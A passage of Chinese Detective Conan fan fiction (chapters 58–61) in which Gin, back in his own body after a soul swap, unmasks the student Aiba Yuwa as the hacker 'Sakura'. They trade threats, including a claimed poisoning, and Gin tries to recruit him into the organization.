一但被这棍子打中一下……呵呵,敌人就得跪着和老板解释为什麽会带具尸体回去了。 在挂在敌人背上,双手死死勒住对方的脖颈,将最后一个敌人勒晕后,相叶佑禾浑身一松。 他仰躺在地上,无力地蹬了蹬腿,将身前的男人踢远了一些后,气喘吁吁地扫了眼和横七竖八躺在地上的人。 不得了了,真不敢相信,这些人身形高大的男人都是被他干翻的。 感谢这几个月琴酒坚持不懈的锻炼,以及压着他锻炼,才让他用着自己的菜鸡身体也解决了敌人。 相叶佑禾浑身疼得厉害,嗓子火辣辣的,他尝试着起身,但身体软绵绵地提不起一点力气。 啊,好累。 他看着天空,不知是不是雨水砸在眼睛上的缘故,视线变得有些模糊。 不行了。 干倒那几个大汉已经花光了他全部的体力,他这具弱鸡身体已经到达了极限。 要不算了吧。 琴酒被抓就被抓了,组织肯定会想办法捞他的,要是组织不行,他会努力的,实在不行就扔两个足够重要的信息把琴酒换出来…… 相叶佑禾沉重的眼皮耷拉下来,砸在脸上的雨水不知什麽时候消失,一双黑色的皮鞋在他跟前稳稳停下。 几秒过后,相叶佑禾迟钝得听觉才分辨出雨水的异常,他睁开眼睛,一片漆黑的伞面撑在头顶,像是突然降临的夜幕。 银色的长发被裹挟着雨水的风吹起,如黑夜中翻飞的雪花,青年冷峻的面容出现在相叶佑禾视野中。 他撑着伞,静静伫立原地,居高临下地看着被水浸湿的少年。 宽大的黑色雨伞纹丝不动地悬在空中,将雨水隔绝在外。 他蹲下身,挺拔的身躯似一道墙般将冷风阻挡,竟带来了些许微不足道的温暖。 琴酒似笑非笑地看着脸色苍白的少年,他抬手,带着薄茧的手指从相叶佑禾的脸颊上的伤口划过,粗糙的指腹带来温暖的同时也激起一阵令人战栗的酥麻。 他低沉的嗓音穿破雨幕:“相叶佑禾。” 第58章 掉马 琴酒睁开了眼。 白色的天花板倒映在瞳孔中,他身体骤然绷紧,如同一头蓄势待发的野兽。 这不是他准备的能随时赶到研究所支持的房子。 但不等过多的观察,琴酒已经从这具身体久违的熟悉感里发现了不对劲。 这是……他的身体。 他在研究所里。 琴酒微怔,从床上翻身坐起,他摊开手,看着这双布满了茧子的手,五指张开、合拢又收紧。 “哈……”他嘴角扯开一抹弧度,喉咙深处溢出一声畅快又餍足的笑。 这充满了力量的感觉让他浑身舒畅,怀念又兴奋。 “总算是摆脱了那副废物身体。” 为什麽在这种时候换回来? 琴酒看向外面乱成一锅粥的研究员们,眸光如出鞘的利刃,散发着锋芒的血腥味。 他们做了什麽? 玻璃门打开,有研究人员跑进来,见他醒了虽然有些惊讶,但总算找到了主心骨:“Gin,研究所被攻击了。” 琴酒花了半分钟从研究人员口中了解了情况。 ‘他’躺在床上,机器突然不受控制疯狂运转烧毁了,紧接着,所有电路关闭,无论他们怎麽操作都没办法打开。 “呵。”琴酒突然勾了下唇。 “Gin,你笑什麽?”研究员被他吓了一跳:“难道你知道这是谁干的了?” “没什麽。”琴酒意味不明地说:“只是想起了一件似曾相识的事。” 那个在超市抢打折商品的夜晚,他和相叶佑禾在黑暗的小巷中对峙时,就像今天一样,路灯突然亮起。 他是怎麽做到的?当时的情况,明明没有没有碰手机的机会,时间也来不及……他是怎麽做到的? 琴酒若有所思。 倒是不知道那个谨慎的小鬼,今天为什麽突然做出这种不明智的举动。 换回来的原因,也和他的行为有关麽? 琴酒的脸上带着几分兴奋地笑意,看得旁边的研究员大气不敢出。 “大哥!”就在这时,伏特加急匆匆地跑来,附在他耳边道:“出事了!” 伏特加把琴酒的手机递过去,琴酒接过后,一眼看到了相叶佑禾的来电,他的指尖朝接听键划去。 伏特加心都提起来了。 在触碰到接听键时,琴酒看到了来电显示下的那条短信。 【第六研究所位置已经暴露,透露者——樱。】 琴酒五指猛然收紧,从牙齿里挤出一声冷笑:“好、得、很。” 小鬼就是小鬼,急不可耐,以为这样就能把他们一网打尽麽? 琴酒身上爆发出惊人的寒气,研究员脸色发白,伏特加却舒了口气。 吓死他了,还以为大哥在研究所暴露的时候,依旧恋爱脑上头要选择先接相叶佑禾的电话。 还好大哥还是知道事情的轻重缓急。 琴酒看了眼时间,冷声吩咐道:“水谷,这些损坏的机器不用管了,去把纸质的重要的数据带上,然后去门口。伏特加,你去叫几个人把车里里所有能开的车都开出来。” “什麽?基地果然被发现了?是警方还是敌对组织?”叫水谷的研究员脸色惨白。 琴酒暼了他一眼:“你们只有十分钟时间,十分钟一到,车就会立刻离开。” “伏特加,离开时记得将基地炸掉,别给那群条子留下任何东西。” “我知道了大哥!”伏特加点头,正准备离开时,发现琴酒拿了把伞,似乎打算独自行动的样子。 “大哥,你不和我们一起吗?” “嗯。”琴酒扫了眼手机上不断出现的来电,将手机静音后扔进兜里,头也不回地朝外走去:“我还有其他重要的事。” 这场过家家游戏到此结束,他要去抓那只让组织损失了一个基地的小废物。 哦,不对,现在叫他……小樱花? 琴酒嗤笑一声。 伏特加:“……”所以重要的事是去找相叶佑禾吗? 嗯,大哥已经把研究所的事安排清楚了,他们只要照着做就不会出错,现在去找相叶佑禾没问题!完全没问题!—— 几分钟后,琴酒没有想到他会在半路遇到一个不该出现在这个地方的人。 他站在树后,看着少年用着那具柔弱的身体击败敌人、气喘吁吁地躺在地上、直到他孱弱的身躯快被雨水淹没时,琴酒来到了他面前。 他第一次对着这张脸叫出了属于少年的名字。 “相叶佑禾。” 低沉的嗓音穿过雨幕,落入耳中。 少年茫然地眨了眨眼,沾在睫毛上的水珠滚落,模糊的画面逐渐清晰,琴酒那张棱角分明的脸映入眼帘。 “G……in?” “Gin?!” 相叶佑禾停顿了两秒,疲惫的眼睛蓦地睁大,对出现在这里的人很惊喜。 琴酒微微掀了掀眼皮,指尖轻轻拈了几下,那丝从相叶佑禾脸颊上抹下来的血迹在指腹缓缓晕染开。 黑色的伞面依旧稳稳地遮住两人,将雨水隔绝在外,也遮住了本就不算明亮的光线。 相叶佑禾看不清琴酒的神色,也不用看。 他如释重负,整个人像没有骨头一样瘫在地上。 该说不愧是琴酒吗?不仅醒了还离开了研究所。 那就不用担心他被警方抓走,自己还要想办法给人捞出来了。 等一下…… “既然醒了为什麽不接我的电话!” 他打了那麽多通电话,这个混蛋居然一个不接!害得他以为琴酒还在昏睡,冒着大雨急急忙忙地冲过去救他…… 火气上来了! “呵。”琴酒唇角勾起一抹弧度,没有回答。 他扫了眼横七竖八的敌人,嘲讽道:“胆子很大,居然只是把他们打晕。” 明明带了枪却没有动用,击败敌人的情况下依旧保持底线。他是该夸赞相叶佑禾进步了,还是不悦他明明有更轻松的办法,却把自己搞得这麽狼狈? 相叶佑禾正在为他不接电话的事生气,听到他的冷笑更加不爽了。 阴阳怪气道:“那不然呢?我只是个普普通通的学生而已,犯法的事我可做不来,更别说杀人了。” 琴酒眉梢微挑。 相叶佑禾咳嗽一声:“保护你时做的事不算,谁叫我们被迫绑定在了一起,我也没办法,但……” 相叶佑禾垂眸,茂密纤长的睫毛遮住眼眸,让人看不清里面的神色:“谁也别想破坏我的平静生活,哪怕是我自己也不行。” 这个已经记不清是什麽时候决定好的人生,已然成为了相叶佑禾的执念。 少年的声音很低,坠落的雨水轻而易举就能将其掩盖。 但琴酒的听力很好,他能在车水马龙的街头分辨出子弹上膛的轻响、能从呼啸的风里捕捉到猎物的喘息声——自然也能从嘈杂的雨水中听清相叶佑禾的低语。 “……” 琴酒一言不发,雨水砸在伞面发出的声音似乎没影响到这片狭小的空间。 自己也不行麽? 琴酒垂眸,目光落在相叶佑禾身上。 少年仿佛整个浸泡在水中,白色衬衫紧紧贴在他清瘦的身躯上,随着他剧烈的喘息一起一伏。 他皱着眉,手指轻微地颤抖着,苍白的皮肤在水中散发着病态的光泽,唇瓣近乎透明,双颊却泛着淡淡的红晕。 无论怎麽看,这个状态极差的小鬼都已经亲手柄自己的平静生活打破了——从他跑来研究所找他的那一刻。 琴酒的眸光漫不经心地从相叶佑禾脸上扫过,却又如附骨之疽一般,挥之不去。 “接了电话,还怎麽看你把这些人解决掉的好戏?” 以相叶佑禾的性子,一定会当场躺平等着他帮忙。 相叶佑禾:“?” “哈?!”相叶佑禾难以置信地看着琴酒,怒气上涌,也不知道哪来的力气,他竟一个翻身朝琴酒扑去。 干燥温暖的体温传来,相叶佑禾竟将银发男人扑了个正着。 黑伞从指间滑落,在地面转了两圈后停下。 银发男人半坐在地上,他一手撑着地面,另一只手揽在少年的腰间,冰凉的温度顺着被打湿的衣服传递过来。 相叶佑禾愤怒地揪起琴酒的衣领,不可思议地大骂:“你的意思是你早就到了,然后看着我这个身体脆弱不堪的‘废物’学生和几个手持武器的壮汉战斗,却不出来帮忙?!” 雨水顷刻间将两人打湿,几缕银色的发丝黏在相叶佑禾的脸上,与粉色的发丝贴在一起。 什麽人啊! 亏他还担心琴酒被抓,都顾不得自己的身体跑来救他,结果琴酒这个混蛋,居然就站在旁边看他陷入危险中! 他们共患难的友谊呢! 他保护了琴酒这麽久,身体换回来琴酒居然就冷眼旁观! 相叶佑禾痛心疾首,恨不得梆梆两拳把人打晕扔在地上,但身体却很诚实的往琴酒怀里缩了缩。 该说不说,这个混蛋的身体真暖啊。 平时冷冰冰的,这种时候却像个火炉一样,体温高得惊人,让他忍不住想要再靠近一些,汲取这份温暖。 “想要我保护你?”琴酒忽略了他假装若无其事的小动作,抬手扣住他的脸颊,双眸微眯:“组织的topkiller可是很贵的,你出得起价格麽?” “啊……差点忘了。”他低笑一声,灼热的气息喷出,令相叶佑禾蜷缩了下手指。 他不自然地微微后仰,刚有动作就被琴酒再次带了回来。 那带着枪茧的指腹在他脸颊上的软肉上,缓慢地来回摩挲着。 四目相对,那双如鹰般的墨绿色眼眸里,浮现出捕捉到猎物的愉悦。 “钱对你来说不算什麽难事,对吧?” “——小樱花。” 第59章 纠缠不休 相叶佑禾瞳孔猛地一缩。 雨水敲打地面,哗哗声在安静的郊外显得格外刺耳。 相叶佑禾浑身僵硬,他的体温早已顺着雨水流失,此刻却又清晰地感觉到一股寒气顺着背脊遍布全身,冻得他发颤。 揽在腰上的手臂、钳住脸颊的手指、抵在一起的膝盖和腿、相叶佑禾攥着衣领的手触碰到的胸膛……只要是两人皮肤接触到的地方,琴酒灼热的体温便源源不断的传来,但已经吸引不到相叶佑禾了。 哪怕他冷得四肢僵硬。 相叶佑禾抓着琴酒衣领的手松开,他想要起身,在黑客身份暴露的这一刻、不,或许更早,在身体换回来时,琴酒对他而言就不是需要小心保护的对象,而是危险的、能轻易将他杀死的杀手。 可他的身体,却被腰间那只大手牢牢禁锢在原地,维持这个半拥抱的姿势,不容他退后半步。 可恶!身体好了不起! 相叶佑禾不敢抗拒得太明显,这样一看就有鬼。 他只能移开目光,装傻充愣:“什麽小樱花,樱花跟钱有什麽关系?你该不会是被雨淋傻了吧?” “就算我有钱,也绝对不会找你这种冷冰冰脾气又差又不体贴的杀手来保护我!”相叶佑禾气呼呼地对他竖了个中指。 琴酒喉咙里溢出一声短促又低沉的哼笑,如果不是相叶佑禾的手抵在胸腔上清晰地感受到那份震动,都要以为是幻听了。 “继续。”琴酒好整以暇地看着他。 相叶佑禾睫毛颤了颤,挂在上面的水珠掉落又立马被新的雨水覆盖,可他还是看清了琴酒的脸。 棱角分明,狭长的双眼冰冷又锐利。 ——相叶佑禾很熟悉这张脸。 他经常对着镜子故意做出一些令琴酒生气的搞怪表情,会弯眼微笑、翻白眼、撇嘴不满、假装伤心哭泣。 在他的努力下终于将这张能止小儿啼的杀手脸,变成了被帝丹高中的学生们私底下评为‘人夫感最强的温柔美人老师’脸。 可现在,他却感觉陌生极了。 银发男人嘴角噙着一抹胜券在握的笑,强烈的视线穿过雨幕,紧紧黏在少年的脸上。 他像一个将猎物笼罩在自己阴影之下的掠夺者,将猎物紧紧捏在自己的掌控之下,无处可逃,便来了兴致欣赏对方会如何挣扎。 恶劣的混蛋。 相叶佑禾磨了磨牙。 看来琴酒是掌握了确切的信息,无论他怎麽狡辩都不会有用了。 事情发展到这个阶段,相叶佑禾竟意外的很平静,反而有种‘总算来了’的感觉。 “怎麽发现的?”黑客的马甲被扒掉,相叶佑禾也没急着想怎麽对付琴酒,反而还有心思问他原因。 “因为研究所被黑了?而我刚好在那?” 秘密被发现,少年却一改常态,满脸平静。 琴酒眉尾微微扬起。 他嗤笑一声,不屑道:“那我这个位置早该换其他人来坐了。” 相叶佑禾不爽,臭着张脸‘切’了一声:“别在那夸自己了,不就是比这更早一点吗?是上次被埋伏吧?” 如果是那次,也没什麽好说的,为了阻止琴酒用他的身体涉险,当时的做法确实有漏洞,哪怕他用借口糊弄过去了,也没办法将琴酒的怀疑打消得一干二净。 “不止一点,想要发现你的不同根本用不了那麽久。” 他确实没有花太多时间发现相叶佑禾的黑客身份,但因为灵魂互换在这个小鬼身上浪费了不少时间和精力。琴酒不介意再多浪费一些微不足道的时间,来解答他的疑惑。 他很期待这个自以为隐藏得很好的小鬼,会露出怎样的表情。 “灵魂互换后,我们前脚刚走,警方后脚就到了那条小巷,而那些警察原本逮捕了杀人凶手正往警视厅方向行驶。” 他们是为什麽会突然掉头转回来? ——相叶佑禾听懂了琴酒没有问出来的话。 那天琴酒不是晕倒了吗?他当晚还立马把监控也修改了。 大脑被冰凉的雨水冲刷得有些迟钝,相叶佑禾缓慢地眨了下眼睛:“伏特加?” 虽然琴酒才是他真正的大哥,但当时用着的可是陌生少年的身体啊!居然问什麽就说什麽吗? 琴酒:“我确实因为你发烧的身体晕倒,但迷迷糊糊间听到了警笛声。” 作为手握实权的重要代号成员,琴酒手里完全不缺人,监控没有问题,那他就派出其他人去现场调查。 相叶佑禾沉默不语,他当时还真被‘身娇体弱’的琴酒给骗过去了。 琴酒暼了他一眼,勾了勾唇:“你第一次用我的身体去组织集合时,将手藏在口袋里盲打键盘,畅通无阻的和我聊天。 超市外对峙时常年不开的路灯突然亮起。 你半夜偷偷摸摸出去在帝丹高中,我活动的所有地方安装了摄像头。 ……” 他嘴唇一张一合,低沉的嗓音在雨声中不疾不徐的响起,十分悦耳,如果不是一点一点的、几乎快把相叶佑禾底裤都要扒掉的话,就更好听了。 相叶佑禾冷笑一声,已经从一开始的震惊到面无表情。 没想到琴酒这个混蛋还挺会装的,明明老早就发现了这麽多细节,还能在他面前装得一无所知的样子。 他倒要听听,这混蛋还能说出些什麽来。 琴酒:“但其实,在江户川柯南等人来看望你,你躲在柜子里疯狂给我发消息时我就锁定你了。” 因为那些毫无意义快把手机内存塞满的垃圾短信,才让琴酒起疑心,从而在监控没有问题的情况下,派人去现场调查。 相叶佑禾:“?” 相叶佑禾瞠目结舌:“不是,我手速快不行啊?!” 被埋伏的那次和研究所这次怀疑他就算了,只是发消息快就……不是,神经病啊!网瘾少年敲键盘快有什麽好怀疑的! “我这个人,向来不会放过任何一丝可疑的地方。”从身体互换的那一刻开始,无论相叶佑禾表现得多无辜,琴酒都会对他保持着一定的怀疑态度。 “更何况,我的直觉一向很准。” 相叶佑禾无语,他都快被气笑了。 他抓着琴酒的衣领,咧了咧嘴角,恶劣地骂道:“一会鼻子灵一会直觉准的,琴酒,你是被训练出来的狗吗?” 他没有忘记黑衣组织将查找他列为重点任务的事,身份被发现,他也不用和琴酒维持着那一层比纸还要薄的虚伪和平。 显然,琴酒也是这麽想的。 “伶牙俐齿。”他捏在相叶佑禾下颚上的手指骤然收紧,少年被雨水浸透得愈发苍白的肌肤上,刺目的红痕立刻从他指间晕染开来。 “闲聊到此结束,今天的天气很适合做一些沉重的选择题。”他将相叶佑禾睫毛上挂着的水珠抹去,短暂的露出那双如春日一般的翠绿色眼睛:“相叶佑禾,选吧,是成为组织成员,还是就此结束你的人生。” 相叶佑禾冷冷地盯着他,苍翠的眸中没有一丝情感。 这幅神情琴酒并不陌生。 每当他用相叶佑禾的身体做出超出对方忍耐范围时,这双冰冷的眼睛就会出现。 对了,那个莫名其妙的梦境里,幼年的相叶佑禾也是这般神色。 “你们组织的基地、对外的公司产业、代号成员、编外成员、卧底名单等等所有的一切,百分之八十都在我手中,只要我想,就能立刻传到警视厅的计算机上……”相叶佑禾抓住琴酒的手,一把甩开。 他挣脱琴酒的桎梏,下巴微扬,苍翠的绿眸中似乎有一闪而过的幽蓝色光芒:“你凭什麽觉得我会需要你给的选择?” “呵。”琴酒没有被激怒,反而愉悦地笑了一声,带着些许被挑衅的兴奋。 他目光饶有兴致地从相叶佑禾的脸上扫过,在触及到下颚上的红印时,微不可查地顿了顿。 “就凭你这具柔弱不堪的身体?”琴酒的手指从相叶佑禾纤细的脖颈上划过,拇指按在那跳动的颈动脉上,感受着血液奔涌而过带来的温热:“我随时都可以杀了你。” 粗粝的皮肤划过带来阵阵脑子忽略的痒意,相叶佑禾无意识的吞咽了下口水,立即感受到按压在颈间的手指重了几分。 虽然觉得组织需要黑客樱,琴酒应该不至于杀了他,但相叶佑禾还是立即抓住琴酒的手,防止对方突然发疯真要杀他。 “好啊,那你也一起死好了。” 琴酒眼眸微掀。 “我在你身体里下了毒,一款你永远找不到解药的毒,正好,两天后你的毒就要发作了,我死了,你也活不了。”相叶佑禾的大脑昏昏沉沉的,眼前的场景越来越模糊,他强撑着,泛白的手指努力攥住琴酒的衣领,但也只是虚虚握住而已。 说话期间,他的身体无力地朝琴酒一点点靠去,到最后几乎整个压在琴酒身上。 相叶佑禾的眼睛不知什麽时候闭上,声音微弱但却坚定的威胁着琴酒:“有你和组织陪着也不错,我们到黄泉路上……也纠缠不休……” 少年完全失去了意识,瘫软的身躯倒在琴酒怀里,颈侧传来他滚烫的温度。 雨水无情的冲刷着两人的身体,体温透过湿透的衣料互相侵蚀。 “是麽……无用的威胁。” 第60章 我等待你的答复 相叶佑禾的拒绝在琴酒的意料之中。 这个对普通生活渴望到有些极端的小鬼,怎麽可能加入黑衣组织。甚至因为他们的威胁,会对组织及其厌恶,只要给他喘息的机会,必定会不遗余力的摧毁组织。 有能力,却又不能为组织所用之人必须解决掉。否则会为组织带来致命的打击。 ——而相叶佑禾就是这种人。 相叶佑禾的身体烫得惊人,因为高烧晕倒让他毫无防备的躺在银发男人怀中。 琴酒微微侧首,少年细软的发丝从脸颊扫过,因为雨水的关系,湿答答的黏在脸上。 他垂眸凝视着少年那张苍白的脸,眉头紧缩,双颊泛着病态的红晕,不需要别人动手,这副脆弱的身躯也坚持不了多久。 琴酒的手指仍扣在相叶佑禾修长的脖颈上,以前用着少年身体时没什麽感觉,可换回了自己的身体,才感觉到指下的皮肤有多细腻脆弱。 银发男人五指微微收紧,却又在即将施力的时候停下。 “纠缠不休麽……” 生前因为灵魂互换搅乱了双方的生活,死了也想整天在他耳边吵吵嚷嚷。 “想得真美。” 琴酒那双墨绿色的眼眸深不见底,晦涩不明,没有人知道他此刻究竟在想些什麽。 会给组织带来致命打击、却又不可收服之人,必须解决掉。 ——但他的命在相叶佑禾手里。 在维持和平又普通的生活方面,相叶佑禾从来不会无的放矢。 给自己身体下毒这件事,十之八九是真的,只不过毒发的时间可能是这小鬼为了保命故意缩短了。 两天,他能去验证身体里确实有毒,又因为时间太短找不出解药,从而只能留下相叶佑禾,接受他的威胁。 琴酒嗤笑一声。 他似乎只能接受相叶佑禾的威胁? 毕竟——就算是常年游走于生死边缘的杀手也不会想这麽轻易丢掉性命。 但他这个人,向来讨厌被人威胁,胆敢威胁他的人,决不会活过第二天。 低哑的痛吟声从相叶佑禾喉咙里溢出,他整张脸皱在一起,手指无意识地攥紧能触碰到的任何东西。 风衣外套在他手里皱成了一团。 琴酒松开手,揽腰抱起相叶佑禾,他捡起地上的伞遮住两人后,大步离开。 公安已经出动,第六研究所附近都不安全,琴酒没有带相叶佑禾回到那间临时准备的屋子。 他找到自己的车后,先从后备箱拿了套干净的衣服给相叶佑禾换上,然后立即驱车前往距离较近又安全的医院—— 在相叶佑禾挂上水安稳下来后,琴酒出去买了身干净的衣服换上,听伏特加汇报他离开后的后续。 和他安排的一样,第六研究所炸毁了,虽然没给警方留下任何东西,但他们还是很亏。 损失了一个重要的研究所,琴酒心里竟然没有生气。 他对于那些摆弄人类的研究人员,虽然不像贝尔摩德那样厌恶,但也没什麽好感,毁了就毁了。 比起那个,他更好奇相叶佑禾为什麽会突然黑入研究所的设备,如此明目张胆,不像是那个为了普通生活小心翼翼的小鬼会做出来的。 是害怕? 还是因为这种违背人伦道德的事生气? 从当时的情况来看,相叶佑禾没有使用电子设备的可能,他又是如何黑了整个研究所的? 他们又是为什麽会在这种关键的时刻换回来? 琴酒缓缓吐出一口烟,白色的烟雾模糊了那张冷峻的面庞,藏着无数思绪的眸子若隐若现。 “咦?”电话那头的伏特加传来一声短促的疑问:“大哥你是在抽烟吗?” 琴酒:“怎麽?” “没……”伏特加挠了挠头:“你之前不是说抽烟对身体不好,戒了吗?还让我也不要在你和小、相叶君面前抽烟。” “不想戒了。”琴酒弹了弹烟灰,因为相叶佑禾被迫戒烟这麽久,如今再抽起来竟然有些索然无味。 他把烟掐灭,扔进了垃圾桶里。 “什、什麽”伏特加从琴酒冷淡的嗓音里听出了不对:“大哥你们吵架了吗?!” 相叶佑禾不是经常单方面和他吵架麽? 琴酒:“不要因为一点小事一惊一乍。” 伏特加目瞪口呆。 这是小事吗?!平时总把相叶佑禾相关的事放在最前面,都快超过boss的位置了!现在都生气到又重新抽烟了! 伏特加隐隐约约觉得这次情况有些严重,正纠结要不要劝一劝时,听琴酒道:“今天有几个在路上埋伏相叶佑禾敌人,我把他们绑起来扔到了半山公园下旁边的仓库里,你去把那几个人带出来,问出幕后主使者是谁。不用留情。” 伏特加听到这话放心了,看来是他多虑了,大哥对相叶佑禾的爱一点没消失嘛! 小吵怡情,不过居然有人敢对相叶佑禾出手,伏特加义愤填膺:“什麽人这麽大胆,不知道相叶君是大哥的人吗?大哥你放心,我保证把幕后之人揪出来。” 琴酒:“。” 相叶佑禾是他的人? 不过也没有错。 他们拥有灵魂互换这种绝对不能让人知道的秘密,因为相叶佑禾的特殊性,琴酒不会杀了他,等相叶佑禾加入组织后,他会把人放在自己眼皮下,严密监视。 至于在答应之前,如何处置不能杀、又不能放任在外的相叶佑禾—— 如果是之前,那很简单,只要简单粗暴的把人关起来,用镣铐锁住他的手脚,不能触碰任何电子设备,手无缚鸡之力的小黑客求救无门,想要活下去只能答应他。 但现在,在相叶佑禾冒着身份暴露、平静生活被打破的风险跑回来救他的那一刻起…… 琴酒摩挲了下指尖,他眼眸微垂,浓密的睫毛在眼下投下一片阴影。 他愿意多给相叶佑禾一些特殊对待—— 相叶佑禾这一觉睡得很不安稳,他感觉身体像被架在火上烤,难受得厉害。 朦胧间,好像有人在给他擦拭身体,冰凉的触感游走在皮肤上,如同沙漠中的甘霖一般,抚平相叶佑禾的不适。 粗糙又温暖的皮肤从肩处划过,细微的刺痛传来,熟悉的战栗感令相叶佑禾猛然惊醒。 他睁开眼,对上了一双狭长深邃的眼睛。 “醒了?”琴酒直起身,将纱布随手扔到了桌上。 相叶佑禾茫然地眨了眨眼,混沌的大脑还有些不清醒,微风吹过,胸前凉飕飕的。他垂头,模糊的视野里出现一片洁白的皮肤。 衬衫纽扣被解开,布料软塌塌的滑向两侧,从锁骨到胸膛,大半的肌肤裸露在外。 相叶佑禾:“……” 相叶佑禾雾蒙蒙的眼睛瞬间瞪大,他‘唰’地抓起被子盖住身体,脸上那层薄薄的红晕分不清是因为害羞还是发烧。 警惕地瞪着琴酒:“你做什麽?!” 琴酒正拿着毛巾,慢条斯理地将手指上沾染的酒精拭去。 “给你擦身体,哼哼唧唧的吵耳朵。” 相叶佑禾直接忽略了他后半段话:“我又没瞎!” 对生病超级有经验的他当然看出来琴酒是在帮他擦拭身体缓解不适,但就是看懂了才警惕! 他们是那种能互相照顾的关系吗?! 前脚才互相威胁,大有一种不是你死就是我死的架势,后脚琴酒就照顾他…… 真可怕。 相叶佑禾打了个哆嗦,他都要怀疑这不是酒精,是毒药! 这麽想着,他抬起手臂闻了闻。 被子因为他的动作翘起,肩胛骨处紫红色的痕迹印入眼帘,琴酒漫不经心地扫过,又移开。 “想要杀你,不需要这麽麻烦。” 相叶佑禾动作一顿。 对,琴酒不会杀他,毕竟还要留着他给组织效劳。 这也是相叶佑禾醒来发现自己躺在干干净净病床上,并不惊讶的原因。 “解药和组织的信息都取决于你,只要你们不打扰我的平静生活,我们就相安无事。”相叶佑禾把手缩回被子里,神情冷漠。 “你大概搞错了一点。”看着态度强硬的少年,琴酒眯了眯眼:“看看周围吧,这可没有让你发挥能力的设备,小樱花。” “至于我……”琴酒将毛巾扔到水盆里,唇角勾起一抹自信的笑:“我这个人,最讨厌被别人威胁,你认为我会向你妥协吗?” 这也是相叶佑禾曾经最担心的一点。 琴酒是黑衣组织的topkiller,他掌握着极大的权利,是boss衷心的心腹,他和波本、贝尔摩德等人不一样,他像陀螺一样连轴转,一切的行动都以能给组织带来最大利益为主。 相叶佑禾不确定他会不会为了组织而放弃自己的生命。 但如今,他认为比起组织,琴酒更在乎自己的情绪。 他厌恶这种被威胁的行为,可他也会假意妥协,危险解除后再狠狠报复、折磨对方。 这种情况对相叶佑禾来说反而是好的。 但人心是复杂的,琴酒也是一个强大自信又有钱有权的人,他也有极大的概率会选择相信自己的能力,解决相叶佑禾这个组织的威胁。 所以,他会怎麽选呢? 相叶佑禾思考着,抬眸看向银发男人时,苍翠的绿瞳如一滩静谧的潭水,平静无波。 他并不慌张,只安静等待琴酒的选择,然后以最快速度做出相应的对策。 “我不会在现在强迫你。”琴酒单手插在风衣口袋里,看着极力对抗着身体不适的少年,说道:“我会给你一段时间作为缓冲。” 相叶佑禾微怔,显然没想到他会这麽说。 “但你只有答应这一个答复。”琴酒走到床边:“好好休息吧,享受你最后平静快乐的时光,这是作为你取悦了我的嘉奖。” 他勾了勾唇:“我等待你的回答。” 银发男人势在必得的模样看得相叶佑禾一阵怒气上涌:“不用等了,我现在就给你答复。” “我、拒、绝。” 相叶佑禾没忍住,抬腿踹了他一脚:“现在,你可以滚了。”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 吵架了 谈判不欢而散。 意料之中的结果,相叶佑禾要是答应才有鬼。 但琴酒并不在意,他只是在告诉相叶佑禾——组织对他势在必得。 无论他怎麽拒绝、怎麽反抗,琴酒都会把他带回组织。 …… 琴酒说的没错,面对孤零零一个人、手无缚鸡之力的黑客,他只需要把人关起来,触碰不到电子设备就行了。 失去了计算机,他的技术再厉害、掌握的信息再多,也没有发挥的余地。 但相叶佑禾不是普通的黑客。 他早就做好了互换回来后,会暴露异能力的可能。 谁让他们天然就处于对立的局面,哪怕琴酒不杀他,组织也需要黑客樱,而相叶佑禾也不愿意放弃普通人生。 在这场博弈当中,他的秘密很难藏住。 是在琴酒面前,被他一个人发现异能力的端倪,还是在更多人面前暴露黑客的身份,相叶佑禾当然选择前者。 ——一个人更好拿捏。 然而琴酒不按套路出牌……这个素来对猎物赶尽杀绝,丝毫不留情的冷血杀手,竟然没有紧紧咬住他不放。 他收起了獠牙,主动退了一步,那一步正好退到相叶佑禾的底线之外。 他离开了,没有在出现在相叶佑禾的视线里。 相叶佑禾转院、养病、接待朋友、回家、外出,周围都没有琴酒的身影。 整整两个周,这个男人消失得干干净净。 而相叶佑禾恰巧是个喜欢逃避周旋的人,他绝对不会主动迈出那一步坎暴露自己。 琴酒给了他一口喘息的机会,他就会顺着杆子往上爬,试图将这个时间拉得更长,最好无限期…… 啧,真是个讨厌的男人。 但很奇怪啊,不管从黑衣组织将‘黑客樱’列为最优先级的立场、还是琴酒雷厉风行的作风来看,这个给他缓冲的时间都有些长了。 相叶佑禾摸了摸下巴,难道这段时间共患难的经历,让他们之间产生了一些革命友谊……不不不,那可是琴酒! 要不是组织馋他的黑客技术,早在换回来的那一瞬间就一枪崩掉他了,以此防止泄露秘密和再次换回来的可能。 怀柔政策也不可能。 他是永远不可能为黑衣组织做事的! 那就只有一种可能了——琴酒是在跟他示弱。 他的威胁有用,只不过琴酒这种人高傲惯了,不愿意承认自己栽在了一个高中生手里,觉得丢脸。 哼,表面上一副无所畏惧的样子,实际行动倒是挺诚实的。 目光不经意间落在桌子上,那里放着两个杯子,一个他的,一个琴酒的。 相叶佑禾起身,把家里属于琴酒的东西全都收起来装进箱子里,打算扔掉时又犹豫了一下。 不行,扔掉还是太危险了,万一有心人捡走查出琴酒的信息怎麽办? 他才不要让人知道他们同居的事。 完全忽略了大家早就从两人一起上下学中猜出来了。 扔掉不行放着也烦人,相叶佑禾最终把箱子扔进仓库里吃灰,还用其他东西压住,遮得严严实实后才满意的拍了拍手。 真好,这个混蛋走了,他又能回到自己房间了。 相叶佑禾换了新的床单被套,洗了个澡后舒舒服服地躺在床上,闭上眼后却翻来覆去怎麽都睡不着。 不行,一想到琴酒之前住这个房间,他就浑身刺挠,觉得很奇怪。好像鼻尖都充满了这个混蛋的气息。 去另一间卧室睡的想法一闪而过,又立即被相叶佑禾否决了。 人都离开了,他凭什麽还要把房间让给琴酒! 相叶佑禾爬起来,找出消毒喷雾后戴上口罩,把房间各个角落都喷了个遍。 第二天,他带着浓浓的黑眼圈来到了学校,刚坐下就被察觉到的毛利兰等人围了起来。 “相叶,你昨天没休息好吗?” 少年皮肤本就白皙,又因为大病初愈还带着些许病态的苍白,眼下的黑眼圈就更显得触目惊心了,整个人都带着一股憔悴感。 说实话,自从黑泽老师出现后,虽然相叶佑禾总是神情淡淡的,没有以前那麽温和,但精神却很好。 她们已经很久没有见到这麽疲惫的相叶佑禾了。 铃木园子直接道:“这段时间黑泽老师没有好好照顾你吗?” “嗯?”相叶佑禾无精打采地抬头,不悦道:“这跟Gin、跟黑泽老师有什麽关系?” 因着Gin和阵的发音相同,铃木园子露出死鱼眼。 都直接亲昵地叫人家名字了,还装没关系呢! 